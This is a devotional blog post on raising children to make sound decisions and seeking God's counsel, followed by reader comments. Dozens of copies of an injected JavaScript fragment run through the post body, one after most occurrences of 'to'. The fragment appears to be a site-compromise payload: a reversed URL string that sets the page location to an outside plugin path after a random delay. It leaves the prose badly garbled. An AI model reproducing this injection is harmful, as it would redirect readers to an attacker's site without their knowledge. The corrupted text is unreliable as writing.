We face decisions everyday. Some are large and some are small. Some can be life changing while others don’t really make much of a difference in our lives at all.
We learn how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make decisions through experience. But, how do you get this experience?
As a parent, because I was not going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be there with my children every step of the way throughout their lives, I needed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to teach them how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make good decisions.
From the day my children were born, I had a basic plan for their lives. I wanted them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get a good education, which would lead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a good job and their ability toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to earn a living and support themselves and their family if they choose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have one.
I don’t think I’m unique. This is probably the dream that many parents have for their children.
Many factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors will influence whether or not a plan like this will come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fruition. One of the big ones that I foresaw was the decisions that they would have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make in their lives.
I felt there were many things that I had toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to raise healthy, well-balanced, intelligent children. As I said, one of the main things was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to teach them the ability toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reason.
When they were younger, I made decisions for them.
At their youngest age, I decided what time they went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bed, what they ate, and what schools they attended. They were not in a position toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know what elementary schools toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to. They did not know how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take care of their medical needs or feed themselves good food.
Little by little, I started letting them make choices. At first, they were little choices that did not have much impact on their lives. However, as they grew, the magnitude of the decisions that they were able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to and allowed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make grew.
The first decisions that they might have made were do I do my homework or watch TV? Along with making decisions, came the consequences, good or bad, of the decisions they made. I remember one of them deciding that homework was not that important one night. I let them go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to school the next day without it. I don’t remember if they were embarrassed or punished at school but I do know that was the last time they chose not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do their homework.
As they got older, the choices they were allowed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make got harder and more serious. They chose their colleges. They chose their majors. My daughter has chosen her career while my son is still pondering his.
I feel as if I have given them a solid basis for being able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to think about, reason, and foresee the consequences of decisions they may be called upon toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make in and for their lives.
At times, my children still come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me for my advice and counsel. When they do, I try toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explore with them their options and the possible results of the various decisions they could make.
Besides the life experience that I have gained, where is it that I can turn toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to for advice that I need? I have my family and my friends; but, more importantly, I have my relationship with God.
When the time comes that my experiences do not provide me with a sound basis for advising either my children or myself, I turn toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to God. Through prayerful reflection on His word, which He has given us in the Bible, and time spent in quiet meditation seeking His counsel, I generally find the inspiration that helps me come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sound decisions.
“Trust in the LORD with all your heart and lean not on your own understanding; in all your ways acknowledge him, and he will make your paths straight.” Proverbs 3:5-6
When you find yourself in times of uncertainty and want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be sure you make the best decision you can, make God your first decision.
Your story reminds me of how my parents raised me. How I miss them. To their last day… I sought their councel. Being stubborn (funny… born of stub!) I have always been independent with a mind of my own… made good and bad decisions… but I always sought their advice first. So funny… I didnt always follow their advice but they were right most of the time! So many lessons learned.
I guess God knows I needed a counselor. I guess that is why He hollered so loud after my father died to let me know He was there. I wasnt paying attention before.
Elmer, your words remind me that my best decisions have been made when I talk to Him every day. I love listening for Him. You gave me a glmipse of the ‘forest’. I thank you for what you do! And I thank God for this life He has given me, for guiding me and for the incredible friends He has given me along the way…
The hardest thing in the world is to turn over that right to make choices to your kids and know in your heart it’s going to be the wrong one. It hurts to see them suffer the consequences, but all I can do is be there for them and make sure I don’t play the “I told you so” card. God blesses us in many ways and I am so thankful fo rthe life He has given me.
My Father always told me “I will always give you advice whether you take it or not is up to you.” Some times I took it and some times I didn’t but I learned a lot and usually I should have followed his advice. It is the same with God. I haven’t always listened when God spoke to me but I am learning every day and listening more and more. I too am so thankful for the life He has given me.
I cannot thank you for the inspiration you give me each day with your words. I thank God for you and I thank you for your obedience to God. Keep up the great works you do for Him… God bless you.
Thanks Lisa!
I cannot tell you and everyone else how encouraging your words are to me. I am amazed at how God has inspired my writing and has allowed me to touch so many in such a short time.
Elmer
Thank you Elmer for your inspired words from God. It was a blessing when a friend on facebook recommended The Whisper of God. Everyday I look forward to reading what God has laid on your heart to help me and many others through our daily walk in life. I thank God for time you take to share your words of hope with us in this wicked world we live in. Please pray for me and my husband. God knows the situation and He knows my broken heart. God bless you and thank you so much for you faithfulness to God.
Elmer thank you so much. It is easy for me to make those little decisions, but sometimes in the midst of human fraility, the big decisions are too hard. I am thankful that you keep these resources available to me to remind me when I am blinded by my enemy. I know this post is much later than others, but because your series is helpful to me today I had to share.
I took my time in prayer today, shared the quiet as I seek the answers, and celebrate the fact “God will take care of me”
God’s answer…. Trust in Me
I will and I simply ask that you pray for me and that I will see God more clearly. Thank you for the daily encouragement on Facebook and May God Bless.
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